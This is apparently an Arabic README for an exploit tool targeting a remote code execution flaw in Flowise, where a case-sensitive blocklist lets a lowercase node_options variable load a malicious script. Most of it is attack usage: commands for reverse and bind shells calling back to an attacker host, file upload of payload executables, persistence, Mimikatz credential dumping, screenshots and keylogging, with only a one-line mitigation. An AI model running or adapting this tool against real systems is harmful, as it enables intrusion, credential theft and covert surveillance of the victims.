Flowise CVE-2026-58057 - استغلال تنفيذ الأوامر عن بُعد على ويندوز

📋 نظرة عامة

هذا استغلال إنتاجي للثغرة CVE-2026-58057، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد في Flowise على منصات ويندوز. تنشأ الثغرة من التحقق الحساس لحالة الأحرف في متغيرات البيئة، والذي يفشل في حظر node_options بحروف صغيرة، مما يسمح للمهاجمين بتجاوز القائمة السوداء لـ NODE_OPTIONS وتنفيذ كود عشوائي من خلال تكوين MCP stdio المخصص.

يظهر الاستغلال ممارسات هندسة برمجية احترافية بهندسة معيارية، ومعالجة شاملة للأخطاء، ودعم لأنواع متعددة من الحمولات.

⚠️ إخلاء مسؤولية

هام: هذه الأداة مخصصة لاختبار الاختراق المأذون به، واختبارات الاختراق، والأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.

🔍 التفاصيل الفنية

السبب الجذري للثغرة

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

آلية الاستغلال

1. يقوم المهاجم بمصادقة Flowise

2. يقوم بإنشاء/تعديل عقدة MCP stdio مخصصة

3. يحقن متغير بيئة node_options بحروف صغيرة

4. يضع القيمة على --require malicious-loader.js

5. يقوم Node.js بتنفيذ المحمّل عند تشغيل MCP stdio

6. يتم تحقيق تنفيذ كود عشوائي

✨ الميزات

القدرات الأساسية

• ✅ Shell عكسي - اتصال عكسي بجهاز المهاجم

• ✅ Shell مقيد - فتح منفذ استماع على الهدف

• ✅ تنفيذ أوامر - تشغيل أوامر نظام عشوائية

• ✅ رفع ملفات - رفع ملفات إلى النظام الهدف

• ✅ ثباتية - آليات ثباتية متعددة

• ✅ جمع معلومات - جمع معلومات استخباراتية عن النظام

• ✅ تفريغ بيانات الاعتماد - تكامل مع Mimikatz

• ✅ التقاط لقطة شاشة - التقاط لقطات شاشة لسطح المكتب

• ✅ تسجيل المفاتيح - تثبيت قدرة تسجيل المفاتيح

الميزات التقنية

• 🔐 طرق مصادقة متعددة - مفتاح API أو اسم مستخدم/كلمة مرور

• 🔄 منطق إعادة المحاولة التلقائي - مقاوم للمشكلات الشبكية

• 🧹 التنظيف الذاتي - إزالة ملفات المحمّل من الهدف

• 🌐 متعدد المنصات - يعمل على ويندوز/لينكس/macOS

• 🎨 إخراج ملون - تحسين قابلية القراءة

• 📊 تصحيح مطوّل - تسجيل مفصل لاستكشاف الأخطاء

📦 التثبيت

المتطلبات الأساسية

• Python 3.6 أو أعلى

• pip (مدير حزم بايثون)

التثبيت السريع

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

التثبيت عبر Docker (اختياري)

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 الاستخدام

خيارات سطر الأوامر

python3 exploit.py --help

خيارات المصادقة

الخيار	الوصف	مثال
-t, --target	رابط Flowise (مطلوب)	http://localhost:3000
-k, --api-key	مفتاح API Flowise	flowise_abc123...
-u, --username	اسم المستخدم	admin
-p, --password	كلمة المرور	password123

خيارات الحمولة

الخيار	الوصف	مثال
--payload	نوع الحمولة	reverse_shell
--lhost	عنوان المستقبل	192.168.1.100
--lport	منفذ المستقبل	4444
--command	الأمر المراد تنفيذه	whoami
--local-file	الملف المراد رفعه	payload.exe
--remote-path	المسار البعيد للحفظ	C:\\Temp\\update.exe

خيارات التنفيذ

الخيار	الوصف
--interactive	بدء شل تفاعلي
--verbose	تمكين الإخراج التفصيلي
--timeout	مهلة الطلب بالثواني
--retries	عدد محاولات إعادة المحاولة

📝 أمثلة الاستخدام

1. شل عكسي أساسي

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. شل عكسي تفاعلي

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. تنفيذ أوامر

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. رفع ملف

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. تفريغ بيانات الاعتماد (Mimikatz)

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. تثبيت الثباتية

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. جمع المعلومات

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. التقاط لقطة شاشة

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot

🎯 أنواع الحمولات

الحمولة	الوصف	الوسائط
reverse_shell	اتصال عكسي بالمستقبل	--lhost, --lport
bind_shell	فتح منفذ استماع	--lport
command_exec	تنفيذ أمر	--command
file_upload	رفع ملف إلى الهدف	--local-file, --remote-path
persistence	تثبيت الثباتية	لا يوجد
info_gather	جمع معلومات النظام	لا يوجد
mimikatz	تفريغ بيانات الاعتماد	لا يوجد
screenshot	التقاط لقطة شاشة	لا يوجد
keylogger	تثبيت مسجل المفاتيح	لا يوجد

🛡️ التخفيف

ترقية Flowise